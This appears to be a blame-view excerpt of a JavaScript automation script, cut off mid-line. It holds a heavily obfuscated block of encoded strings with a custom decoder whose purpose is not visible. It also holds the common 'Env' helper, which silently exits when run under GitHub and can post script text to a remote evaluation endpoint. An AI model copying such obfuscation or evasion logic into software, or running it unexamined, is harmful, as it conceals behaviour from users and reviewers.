2024-12-11 15:23:51 +00:00
|
|
|
var Lk97jTh,Havb7H,r1rsUgt,drzAgJG,C1Rhx5d,GMcUUsx,obryZ9,dkTuXq,pAXPcLX,vcwv0s,AVofgn;const xVqQM3=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x5c,0x10,0x5d,0x2,0xa,0x5f,!0x1,0x7c,0x7d,0x7f,0x80,0x83,0x85,0x9a,0x9b,0xa4,0xa2,null,0x81,0xa8,0xab,0xaa,0xad,void 0x0,0xae,0xb2,0xc8,0xcc,0xcd,0xd8,0xda,0xdf,"&",0x14,0xef,0xf0,0xf1,!0x0,"UA",0xfa,0xf2,0xf4,0xf3," ",0x113,"1","3",0x129,"0",0x127,0x128,0x12f,0x130,0x1f4,0x3e8,0x122,0x136,"(",0x134,")",0x135,0x13c,0x13d,0x11e,0x13f,0x142,0x140,0x11f,0x14b,0x7d0,0x15c,0x157,"2",0x200,0x100,0xf,0x3,0x4,0x3ff,0xc0,0x1f,0xe0,0x12,0x20,0x5,0x18,0x13,0x40,0xffff,"g","$1",0x17c,0x17d,0x186,0x188,0x18d,0x14d,0x194,0x198,0x199,0x19b,0x156,0x1ad,0x14c,0x1bb,"5",0x1c5,0x1c6,0x1d4,0x1de,0x1df,0x1cd,0x1f5,0x1e6,0x1e8,0x208,0x209,0x1a5,0x1b6,0x119,"nb",0x215,"10",0x224,0x231,0xd4,0x21c,0xd3,0x232,0x233,0x234,0x235,0x236,0x237,0x238,0x23a,0x218,0x21e,0x21f,0x219,"4",0x222,0x223,0x251,0x252,0x253,0x255,0x257,0x221,0x25d,0x26c,0x26a,0x289,0x28a,0x28b,0x28d,0x28e,0xd2];function JaXFP0(Lk97jTh){var Havb7H="xoAvN~7ZeT(dz<6Kln.@+;PSfD]!I{8%c,W=HOu[qYtRGbr9g*Ji:1X^j2Bs>EkpQm`M0C}FwU&Vhy5#/L_)a43?$\"|",r1rsUgt,drzAgJG,C1Rhx5d,GMcUUsx,obryZ9,dkTuXq,pAXPcLX;NbRweFU(r1rsUgt=""+(Lk97jTh||""),drzAgJG=r1rsUgt.length,C1Rhx5d=[],GMcUUsx=xVqQM3[0x0],obryZ9=xVqQM3[0x0],dkTuXq=-xVqQM3[0x1]);for(pAXPcLX=xVqQM3[0x0];pAXPcLX<drzAgJG;pAXPcLX++){var vcwv0s=Havb7H.indexOf(r1rsUgt[pAXPcLX]);if(vcwv0s===-xVqQM3[0x1])continue;if(dkTuXq<xVqQM3[0x0]){dkTuXq=vcwv0s}else{NbRweFU(dkTuXq+=vcwv0s*xVqQM3[0xc],GMcUUsx|=dkTuXq<<obryZ9,obryZ9+=(dkTuXq&xVqQM3[0xd])>xVqQM3[0xe]?xVqQM3[0xf]:xVqQM3[0x10]);do{NbRweFU(C1Rhx5d.push(GMcUUsx&xVqQM3[0x3]),GMcUUsx>>=xVqQM3[0x2],obryZ9-=xVqQM3[0x2])}while(obryZ9>xVqQM3[0x9]);dkTuXq=-xVqQM3[0x1]}}if(dkTuXq>-xVqQM3[0x1]){C1Rhx5d.push((GMcUUsx|dkTuXq<<obryZ9)&xVqQM3[0x3])}return VA68OQ(C1Rhx5d)}function D2UeOr(r1rsUgt){if(typeof Lk97jTh[r1rsUgt]===xVqQM3[0x5]){return Lk97jTh[r1rsUgt]=JaXFP0(Havb7H[r1rsUgt])}return Lk97jTh[r1rsUgt]}NbRweFU(Lk97jTh={},Havb7H=["~c9:x^!9{;3{T>$l+cJe","a}XTe30BN",".T>15^DZyev!d_fW[TG(6gc/]65HUf6]","jX0F42~<)X>;0sfIk0{Nd314$+E","*X&~>woL7","I]#hwk3W+24zr*AH[07:gi%ZbdS_Zu]Y*x","~TY!b*TD%pm}S_b@e]Xh21DZb`n#=A(+0X:ZH5|rfn<w99h[7o","OK,8~W*Y264pDl(]%2K8iyFZ:QEUX}s{","U0rNm[S{7Q:he!=8~=DV_)d1ydQN#6O.ix","o&4Fp>~ZGsI#;wSWsn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ZI4191Q*;lv*W#d4%kg,=/KZT#}6","^vkh}W&.4QyKDH<","w+Y8/hT</z9f>s}.yibhKJxt\"n.WfFe.q&c8p&6H)z=w$9:qYRd{+","DK9TRjiVopXI(L>HVj7Zz","~&?*8q8::@rNPEw]]XI%hCj.ZBQU2<~OANv~OjR2JKW","JWb(WXLiGkLK8Ec.rzL7]qso","%7Wc|slB{s_M8AOudzPN[_kAizH","]Fo51BJ.CX.WW<(%`OyJ*yr/Ymn_evl!So","i]3IS:|f>dh&TO(","6rN&QgM=7","[7;&`1Br5p^*,lU[H02X9Btq<`Xh,l>H`78^3Fe:jnzB/)n!",">0$TE#x8g.sc+v*[{z5FMwM<*zay~~2IEsM((38:+22U=]2=y6#*f","gT4ZlLJBMT_e/v8Ss]e5xgMio>]Cd!!nv*1hkylA","MnHyLhKDRejcR}aI=Wh&<Ly{SQEp[6~uK]}ICW/:Tnb%>Ka!;cPZ","*]T!c0;9d62UsvQt4gv","|UN(ga@9k1t`)]{S*]MeNrUY}BZT@Act,{tcH/t.9;WC/v!IsO/7","GmX*GO\"Ykd^pV6}%rF}^LkM{ATlnGFUDkm7:])f:[Qel<HtudSa{rjUo3<",
|
2024-09-10 15:52:54 +00:00
|
|
|
function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.d
|